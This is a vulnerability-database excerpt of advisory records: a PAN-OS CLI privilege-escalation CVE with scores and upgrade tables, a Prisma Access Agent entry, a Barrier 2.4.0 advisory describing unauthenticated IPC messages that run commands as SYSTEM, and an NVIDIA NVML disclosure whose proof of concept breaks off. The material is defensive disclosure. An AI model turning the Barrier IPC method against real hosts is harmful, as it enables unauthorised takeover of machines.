                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-11T03:55:35.701340Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-11T10:17:40.792Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM APE1808",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-11T12:23:21.327Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-104023.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Cloud NGFW",
          "vendor": "Palo Alto Networks",
          "versions": [
            {
              "status": "unaffected",
              "version": "All",
              "versionType": "custom"
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              "value": "\u003cp\u003eA privilege escalation vulnerability in Palo Alto Networks PAN-OS\u00ae software allows an authenticated administrator with access to the Command Line Interface (CLI) to perform actions on the device with root privileges.\u003c/p\u003e\u003cp\u003eThe security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management interface to only trusted internal IP addresses according to our recommended \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practice deployment guidelines\u003c/a\u003e.\u003c/p\u003e\u003cp\u003eThis issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).\u003cbr\u003e\u003cbr\u003eCloud NGFW, and Prisma\u00ae Access are not impacted by this vulnerability.\u003c/p\u003e"
            }
          ],
          "value": "A privilege escalation vulnerability in Palo Alto Networks PAN-OS\u00ae software allows an authenticated administrator with access to the Command Line Interface (CLI) to perform actions on the device with root privileges.\n\n\n\nThe security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\n\n\nThis issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).\n\nCloud NGFW, and Prisma\u00ae Access are not impacted by this vulnerability."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003ePalo Alto Networks is not aware of any malicious exploitation of this issue.\u003c/p\u003e"
            }
          ],
          "value": "Palo Alto Networks is not aware of any malicious exploitation of this issue."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-233",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-233 Privilege Escalation"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NO",
            "Recovery": "USER",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 6,
            "baseSeverity": "MEDIUM",
            "exploitMaturity": "UNREPORTED",
            "privilegesRequired": "HIGH",
            "providerUrgency": "AMBER",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "valueDensity": "CONCENTRATED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/AU:N/R:U/V:C/RE:M/U:Amber",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH",
            "vulnerabilityResponseEffort": "MODERATE"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "The risk is highest when you allow access to the management interface from external IP addresses on the internet."
            }
          ]
        },
        {
          "cvssV4_0": {
            "Automatable": "NO",
            "Recovery": "USER",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "LOCAL",
            "baseScore": 5.6,
            "baseSeverity": "MEDIUM",
            "exploitMaturity": "UNREPORTED",
            "privilegesRequired": "HIGH",
            "providerUrgency": "AMBER",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "valueDensity": "CONCENTRATED",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/AU:N/R:U/V:C/RE:M/U:Amber",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH",
            "vulnerabilityResponseEffort": "MODERATE"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "You can reduce the risk of exploitation by restricting access to a jump box that is the only system allowed to access the management interface."
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862 Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-10T21:01:10.714Z",
        "orgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
        "shortName": "palo_alto"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://security.paloaltonetworks.com/CVE-2026-0272"
        }
      ],
      "solutions": [
        {
          "lang": "eng",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003ctable class=\"tbl\"\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eVersion\u003c/th\u003e\u003cth\u003eMinor Version Range\u003c/th\u003e\u003cth\u003eSuggested Solution\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eCloud NGFW\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 12.1\u003c/td\u003e\u003ctd\u003e12.1.2 through 12.1.4-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 12.1.4-h7 or 12.1.5 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.2\u003c/td\u003e\u003ctd\u003e11.2.8 through 11.2.10-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.2.10-h9 or 11.2.11 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.2.5 through 11.2.7-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.2.7-h16 or 11.2.11 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.2.0 through 11.2.4-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.2.4-h18 or 11.2.11 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 11.1\u003c/td\u003e\u003ctd\u003e11.1.11 through 11.1.13-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.13-h7 or 11.1.14 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.1.7 through 11.1.10-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.10-h27 or 11.1.14 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.1.5 through 11.1.6-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.6-h33 or 11.1.14 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e11.1.0 through 11.1.4-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 11.1.4-h34 or 11.1.14 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePAN-OS 10.2\u003c/td\u003e\u003ctd\u003e10.2.17 through 10.2.18-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.18-h5 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.2.14 through 10.2.16-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.16-h8 or 10.2.18-h5 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.2.11 through 10.2.13-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.13-h22 or 10.2.18-h5 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.2.8 through 10.2.10-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.10-h37 or 10.2.18-h5 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cbr\u003e\u003c/td\u003e\u003ctd\u003e10.2.0 through 10.2.7-h*\u003c/td\u003e\u003ctd\u003eUpgrade to 10.2.7-h35 or 10.2.18-h5 or later.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eAll other older\u003cbr\u003eunsupported\u003cbr\u003ePAN-OS versions\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eUpgrade to a supported fixed version.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePrisma Access\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003eNo action needed.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e"
            }
          ],
          "value": "VERSION           MINOR VERSION RANGE          SUGGESTED SOLUTION\nCloud NGFW                                     No action needed.\nPAN-OS 12.1       12.1.2 through 12.1.4-h*     Upgrade to 12.1.4-h7 or 12.1.5 or later.\nPAN-OS 11.2       11.2.8 through 11.2.10-h*    Upgrade to 11.2.10-h9 or 11.2.11 or later.\n                  11.2.5 through 11.2.7-h*     Upgrade to 11.2.7-h16 or 11.2.11 or later.\n                  11.2.0 through 11.2.4-h*     Upgrade to 11.2.4-h18 or 11.2.11 or later.\nPAN-OS 11.1       11.1.11 through 11.1.13-h*   Upgrade to 11.1.13-h7 or 11.1.14 or later.\n                  11.1.7 through 11.1.10-h*    Upgrade to 11.1.10-h27 or 11.1.14 or later.\n                  11.1.5 through 11.1.6-h*     Upgrade to 11.1.6-h33 or 11.1.14 or later.\n                  11.1.0 through 11.1.4-h*     Upgrade to 11.1.4-h34 or 11.1.14 or later.\nPAN-OS 10.2       10.2.17 through 10.2.18-h*   Upgrade to 10.2.18-h5 or later.\n                  10.2.14 through 10.2.16-h*   Upgrade to 10.2.16-h8 or 10.2.18-h5 or later.\n                  10.2.11 through 10.2.13-h*   Upgrade to 10.2.13-h22 or 10.2.18-h5 or later.\n                  10.2.8 through 10.2.10-h*    Upgrade to 10.2.10-h37 or 10.2.18-h5 or later.\n                  10.2.0 through 10.2.7-h*     Upgrade to 10.2.7-h35 or 10.2.18-h5 or later.\nAll other older                                Upgrade to a supported fixed version.\nunsupported\nPAN-OS versions\nPrisma Access                                  No action needed."
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "timeline": [
        {
          "lang": "en",
          "time": "2026-06-10T16:00:00.000Z",
          "value": "Initial publication."
        }
      ],
      "title": "PAN-OS: Privilege Escalation (PE) Vulnerability in the Command Line Interface (CLI)",
      "workarounds": [
        {
          "lang": "eng",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eThe vast majority of firewalls already follow Palo Alto Networks\u0027 and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practice deployment guidelines\u003c/a\u003e. Specifically, you should restrict management interface access to only trusted internal IP addresses.\u003c/p\u003e\u003cp\u003eReview information about how to secure management access to your Palo Alto Networks firewalls:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ePalo Alto Networks LIVEcommunity article\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003ePalo Alto Networks official and detailed technical documentation\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e"
            }
          ],
          "value": "The vast majority of firewalls already follow Palo Alto Networks\u0027 and industry best practices. However, if you have not already, we strongly recommend that you secure access to your management interface according to our best practice deployment guidelines (https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431). Specifically, you should restrict management interface access to only trusted internal IP addresses.\n\nReview information about how to secure management access to your Palo Alto Networks firewalls:\n\n * Palo Alto Networks LIVEcommunity article (https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431)\n * Palo Alto Networks official and detailed technical documentation (https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices)"
        }
      ],
      "x_affectedList": [
        "PAN-OS 12.1.4-h6",
        "PAN-OS 12.1.4-h5",
        "PAN-OS 12.1.4-h3",
        "PAN-OS 12.1.4-h2",
        "PAN-OS 12.1.4",
        "PAN-OS 12.1.3-h3",
        "PAN-OS 12.1.3-h1",
        "PAN-OS 12.1.3",
        "PAN-OS 12.1.2",
        "PAN-OS 11.2.10-h8",
        "PAN-OS 11.2.10-h7",
        "PAN-OS 11.2.10-h6",
        "PAN-OS 11.2.10-h5",
        "PAN-OS 11.2.10-h4",
        "PAN-OS 11.2.10-h3",
        "PAN-OS 11.2.10-h2",
        "PAN-OS 11.2.10-h1",
        "PAN-OS 11.2.10",
        "PAN-OS 11.2.9",
        "PAN-OS 11.2.8",
        "PAN-OS 11.2.7-h15",
        "PAN-OS 11.2.7-h14",
        "PAN-OS 11.2.7-h13",
        "PAN-OS 11.2.7-h12",
        "PAN-OS 11.2.7-h11",
        "PAN-OS 11.2.7-h10",
        "PAN-OS 11.2.7-h8",
        "PAN-OS 11.2.7-h7",
        "PAN-OS 11.2.7-h4",
        "PAN-OS 11.2.7-h3",
        "PAN-OS 11.2.7-h2",
        "PAN-OS 11.2.7-h1",
        "PAN-OS 11.2.7",
        "PAN-OS 11.2.6",
        "PAN-OS 11.2.5",
        "PAN-OS 11.2.4-h17",
        "PAN-OS 11.2.4-h15",
        "PAN-OS 11.2.4-h14",
        "PAN-OS 11.2.4-h12",
        "PAN-OS 11.2.4-h11",
        "PAN-OS 11.2.4-h10",
        "PAN-OS 11.2.4-h9",
        "PAN-OS 11.2.4-h8",
        "PAN-OS 11.2.4-h7",
        "PAN-OS 11.2.4-h6",
        "PAN-OS 11.2.4-h5",
        "PAN-OS 11.2.4-h4",
        "PAN-OS 11.2.4-h3",
        "PAN-OS 11.2.4-h2",
        "PAN-OS 11.2.4-h1",
        "PAN-OS 11.2.4",
        "PAN-OS 11.2.3-h5",
        "PAN-OS 11.2.3-h4",
        "PAN-OS 11.2.3-h3",
        "PAN-OS 11.2.3-h2",
        "PAN-OS 11.2.3-h1",
        "PAN-OS 11.2.3",
        "PAN-OS 11.2.2-h2",
        "PAN-OS 11.2.2-h1",
        "PAN-OS 11.2.1-h1",
        "PAN-OS 11.2.1",
        "PAN-OS 11.2.0-h1",
        "PAN-OS 11.2.0",
        "PAN-OS 11.1.13-h6",
        "PAN-OS 11.1.13-h5",
        "PAN-OS 11.1.13-h3",
        "PAN-OS 11.1.13-h2",
        "PAN-OS 11.1.13-h1",
        "PAN-OS 11.1.13",
        "PAN-OS 11.1.12",
        "PAN-OS 11.1.11",
        "PAN-OS 11.1.10-h26",
        "PAN-OS 11.1.10-h25",
        "PAN-OS 11.1.10-h21",
        "PAN-OS 11.1.10-h12",
        "PAN-OS 11.1.10-h10",
        "PAN-OS 11.1.10-h9",
        "PAN-OS 11.1.10-h7",
        "PAN-OS 11.1.10-h5",
        "PAN-OS 11.1.10-h4",
        "PAN-OS 11.1.10-h1",
        "PAN-OS 11.1.10",
        "PAN-OS 11.1.9",
        "PAN-OS 11.1.8",
        "PAN-OS 11.1.6-h32",
        "PAN-OS 11.1.6-h29",
        "PAN-OS 11.1.6-h25",
        "PAN-OS 11.1.6-h23",
        "PAN-OS 11.1.6-h22",
        "PAN-OS 11.1.6-h21",
        "PAN-OS 11.1.6-h20",
        "PAN-OS 11.1.6-h19",
        "PAN-OS 11.1.6-h18",
        "PAN-OS 11.1.6-h17",
        "PAN-OS 11.1.6-h14",
        "PAN-OS 11.1.6-h10",
        "PAN-OS 11.1.6-h7",
        "PAN-OS 11.1.6-h6",
        "PAN-OS 11.1.6-h4",
        "PAN-OS 11.1.6-h3",
        "PAN-OS 11.1.6-h2",
        "PAN-OS 11.1.6-h1",
        "PAN-OS 11.1.6",
        "PAN-OS 11.1.5-h1",
        "PAN-OS 11.1.5",
        "PAN-OS 11.1.4-h33",
        "PAN-OS 11.1.4-h32",
        "PAN-OS 11.1.4-h27",
        "PAN-OS 11.1.4-h25",
        "PAN-OS 11.1.4-h18",
        "PAN-OS 11.1.4-h17",
        "PAN-OS 11.1.4-h15",
        "PAN-OS 11.1.4-h13",
        "PAN-OS 11.1.4-h12",
        "PAN-OS 11.1.4-h11",
        "PAN-OS 11.1.4-h10",
        "PAN-OS 11.1.4-h9",
        "PAN-OS 11.1.4-h8",
        "PAN-OS 11.1.4-h7",
        "PAN-OS 11.1.4-h6",
        "PAN-OS 11.1.4-h5",
        "PAN-OS 11.1.4-h4",
        "PAN-OS 11.1.4-h3",
        "PAN-OS 11.1.4-h2",
        "PAN-OS 11.1.4-h1",
        "PAN-OS 11.1.4",
        "PAN-OS 11.1.3-h13",
        "PAN-OS 11.1.3-h12",
        "PAN-OS 11.1.3-h11",
        "PAN-OS 11.1.3-h10",
        "PAN-OS 11.1.3-h9",
        "PAN-OS 11.1.3-h8",
        "PAN-OS 11.1.3-h7",
        "PAN-OS 11.1.3-h6",
        "PAN-OS 11.1.3-h5",
        "PAN-OS 11.1.3-h4",
        "PAN-OS 11.1.3-h3",
        "PAN-OS 11.1.3-h2",
        "PAN-OS 11.1.3-h1",
        "PAN-OS 11.1.3",
        "PAN-OS 11.1.2-h18",
        "PAN-OS 11.1.2-h17",
        "PAN-OS 11.1.2-h16",
        "PAN-OS 11.1.2-h15",
        "PAN-OS 11.1.2-h14",
        "PAN-OS 11.1.2-h13",
        "PAN-OS 11.1.2-h12",
        "PAN-OS 11.1.2-h11",
        "PAN-OS 11.1.2-h10",
        "PAN-OS 11.1.2-h9",
        "PAN-OS 11.1.2-h8",
        "PAN-OS 11.1.2-h7",
        "PAN-OS 11.1.2-h6",
        "PAN-OS 11.1.2-h5",
        "PAN-OS 11.1.2-h4",
        "PAN-OS 11.1.2-h3",
        "PAN-OS 11.1.2-h2",
        "PAN-OS 11.1.2-h1",
        "PAN-OS 11.1.2",
        "PAN-OS 11.1.1-h2",
        "PAN-OS 11.1.1-h1",
        "PAN-OS 11.1.1",
        "PAN-OS 11.1.0-h4",
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CVE-2026-0246 (GCVE-0-2026-0246)

Vulnerability from cvelistv5 – Published: 2026-05-13 18:51 – Updated: 2026-05-13 19:30
VLAI
Title
Prisma Access Agent: Local Privilege Escalation Vulnerability
Summary
A vulnerability with a privilege management mechanism in the Palo Alto Networks Prisma Access Agent® enables a locally authenticated non-administrative user to escalate their privileges to root on macOS and Linux or NT AUTHORITY\SYSTEM on Windows. This allows the user to execute arbitrary code and read sensitive information otherwise accessible only to privileged accounts. The Prisma Access Agent on iOS, Android and Chrome OS are not affected.
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-05-13 19:27 UTC
CWE
References
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access Agent Affected: 0 , < 26.2.1 (custom)
    cpe:2.3:a:palo_alto_networks:prisma_access_agent:*:*:linux:*:*:*:*:*
Create a notification for this product.
Palo Alto Networks Prisma Access Agent Affected: 0 , < 26.2.1 (custom)
    cpe:2.3:a:palo_alto_networks:prisma_access_agent:*:*:macos:*:*:*:*:*
Create a notification for this product.
Palo Alto Networks Prisma Access Agent Affected: 0 , < 26.2.1 (custom)
    cpe:2.3:a:palo_alto_networks:prisma_access_agent:*:*:windows:*:*:*:*:*
Create a notification for this product.
Palo Alto Networks Prisma Access Agent Unaffected: All (custom)
Create a notification for this product.
Date Public
2026-05-13 16:00
Show details on NVD website

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GCVE-1988-2026-0154

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 08:13
VLAI
Title
[NotCVE-2026-0010] Barrier 2.4.0 for Windows Unauthenticated IPC Command Execution Allows Local Privilege Escalation to SYSTEM
Summary
---------------------------------------------------------------------------- NotCVE Advisory — NotCVE-2026-0010 ---------------------------------------------------------------------------- [-] Summary: Barrier 2.4.0 for Windows contains a local privilege escalation vulnerability in the IPC command interface exposed by the barrierd.exe service on 127.0.0.1:24801. The IPC server accepts local TCP clients and processes a command line together with a one-byte elevation flag without authenticating the connecting process or verifying that it is authorised to request elevated process creation. A low-privileged local attacker can therefore execute arbitrary commands as NT AUTHORITY\SYSTEM, resulting in complete compromise of the affected host. CVSS:3.1 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). [-] Affected: Barrier (Debauchee), version 2.4.0 for Windows. Earlier affected versions have not been established. Barrier is no longer maintained and no patched release has been verified. [-] Technical Description: The Barrier daemon (barrierd.exe) exposes an IPC server on the loopback interface at TCP port 24801. A client sends an IHEL client hello identifying itself as a supported IPC client type, followed by a kIpcCommand (ICMD) message containing a command line and a one-byte elevation flag. The reviewed IPC acceptance and command-processing paths do not authenticate the connecting process, verify its Windows identity, or authorise it to request elevated process creation. When the elevation flag is enabled, DaemonApp::handleIpcMessage() forwards the supplied command and elevation value to MSWindowsWatchdog. The watchdog locates winlogon.exe in the relevant Windows session, duplicates its privileged token, and supplies the attacker-controlled command line to CreateProcessAsUser. The command therefore executes as NT AUTHORITY\SYSTEM. Barrier additionally stores the last IPC-supplied values in the system settings as Command and Elevate. These values are loaded again when the daemon starts and passed back to the watchdog, so an attacker-supplied elevated command can execute again after service restarts or system reboots until the stored command is cleared. Weaknesses: CWE-306 (Missing Authentication for Critical Function), CWE-862 (Missing Authorization). Pattern: CAPEC-69 (Target Programs with Elevated Privileges). A proof of concept is published in the researcher's repository (see References). [-] Timeline: [25/07/2026] - NotCVE ID requested. [27/07/2026] - NotCVE ID reserved. [27/07/2026] - Published as NotCVE-2026-0010. [-] Credit: Discovered by Christopher Duram (https://www.linkedin.com/in/christopherduram/). [-] References: https://notcve.org/notcve/NotCVE-2026-0010 https://github.com/cduram/NotCVE-2026-0010 https://github.com/cduram/NotCVE-2026-0010/blob/main/Debauchee_Barrier_Privesc.py https://github.com/debauchee/barrier/releases/tag/v2.4.0 https://github.com/debauchee/barrier/blob/master/src/lib/ipc/Ipc.h https://github.com/debauchee/barrier/blob/master/src/lib/ipc/IpcServer.cpp https://github.com/debauchee/barrier/blob/master/src/lib/ipc/IpcClientProxy.cpp https://github.com/debauchee/barrier/blob/master/src/lib/barrier/win32/DaemonApp.cpp https://github.com/debauchee/barrier/blob/master/src/lib/platform/MSWindowsWatchdog.cpp [-] About NotCVE: NotCVE (https://notcve.org) assigns public, timestamped NotCVE IDs to vulnerabilities not acknowledged by vendors. Vendor will not assign a CVE? Request a NotCVE: https://notcve.org/form/ · Contributors: https://notcve.org/hall/ _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Barrier Project Barrier Affected: unknown
Create a notification for this product.
Credits

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GCVE-1988-2026-0082

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:52
VLAI
Title
NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)
Summary
NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML ============================================================================ On a multi-user Linux GPU host where mutually untrusted users can open the same /dev/nvidia* devices - the driver's default mode is 0666 - an unprivileged user can enumerate another user's GPU processes and per-process GPU telemetry through standard NVML management APIs. NVML directly returned the foreign PID, the per-process GPU-memory allocation and the SM utilization; nvidia-smi additionally displayed the process path, but the corresponding direct nvmlSystemGetProcessName() call was not captured. Measured on one configuration: A100, MIG off, bare metal, two local UIDs. No root, no gpu/video/render group membership, no capabilities, no CUDA context of the attacker's own, no performance counters, no injected traffic, no race. The attacker learns, for processes belonging to other users: PID, per-process GPU memory allocation, per-process SM utilization, and - via nvidia-smi - the binary path. Read-only workload metadata; no GPU memory contents are read. NVIDIA reviewed the finding and determined it is expected behavior. Affected: NVIDIA Linux GPU driver, NVML management plane Tested: 595.71.05-open; core channels also reproduced on 565.57.01-open Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off Platform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9 (driver-reported runtime 13.2) CWE: CWE-200 (exposure of information to an unauthorized actor), CWE-862 (missing authorization) Status: Closed by NVIDIA as expected behavior. No fix. Public disclosure authorized by NVIDIA PSIRT 2026-08-20. CVE: none assigned Ref: Intigriti NVIDIA-W5AB0FZR Companion: "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering" - same node, same driver, same 0666 precondition Root Cause ---------- Two independent facts compound. (a) /dev/nvidia* is mode 0666 by driver default. This is set by the kernel module, not by a site udev rule. # grep -E 'ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly' /proc/driver/nvidia/params ModifyDeviceFiles: 1 DeviceFileMode: 438 RmProfilingAdminOnly: 1 438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module rewrites existing device files to match its own defaults, so an administrator who tightens the mode out-of-band can have it reverted on module reload. The vendor sources agree: open-gpu-kernel-modules carries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in kernel-open/nvidia/nv-reg.h with the comment "The default mode is 0666 (octal, rw-rw-rw-)", and the driver README "Device files" section documents UID 0 / GID 0 / Mode 0666 as the default, adding "Existing device files are changed if their attributes don't match these defaults." (b) NVML management APIs apply no UID, cgroup, or capability check to a caller holding that file descriptor. Any opener receives the node-wide management view. +------------------+ +-------------------+ | victim uid 1000 | | attacker uid 1011 | | CUDA workload | | no groups, Cap=0 | +--------+---------+ +---------+---------+ | | | open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666) v v +-----------------------------------------------------------------------+ | nvidia.ko -> NVML management plane | | | | nvmlDeviceGetComputeRunningProcesses() -> ALL pids, ALL uids | | nvmlDeviceGetProcessUtilization() -> ALL pids, ALL uids | | ^ | | +--- no ownership check anywhere on this path| +-----------------------------------------------------------------------+ NVML already has the concept of privilege-gating this exact call - just not in ordinary shared-GPU mode. From nvml.h, on both nvmlDeviceGetComputeRunningProcesses_v3 and nvmlDeviceGetMPSComputeRunningProcesses_v3: "In MIG mode, if device handle is provided, the API returns aggregate information, only if the caller has appropriate privileges." So under MIG, process enumeration through the physical-device handle is privilege-gated. Outside MIG there is no corresponding UID ownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3 documents NVML_ERROR_NO_PERMISSION in its return list and does not return it here; nvmlDeviceGetProcessUtilization and nvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error at all. Note RmProfilingAdminOnly: 1 in the same params output. The CUPTI performance-counter plane IS gated behind CAP_SYS_ADMIN on this exact node - that gate was added as the fix for CVE-2018-6260. The NVML per-process management plane received no equivalent gate. That asymmetry is the finding. Attacker Prerequisites ---------------------- A shell account on the node. The observer used for all captured runs: uid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser) CapInh: 0000000000000000 -> NONE CapPrm: 0000000000000000 -> NONE CapEff: 0000000000000000 -> NONE CapAmb: 0000000000000000 -> NONE CapBnd: 000001ffffffffff No sudo. Not in sudo/wheel/admin/docker/video/gpu/render. No Docker socket. Cannot load kernel modules. Cannot ptrace other users' processes. Proof of Concept ---------------- Victim, uid 1000 - any long-running CUDA workload. The captured runs used nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a CUDA context works; this needs only pytorch: python3 -c "import torch,time x=torch.randn(8192,8192,device='cuda') while 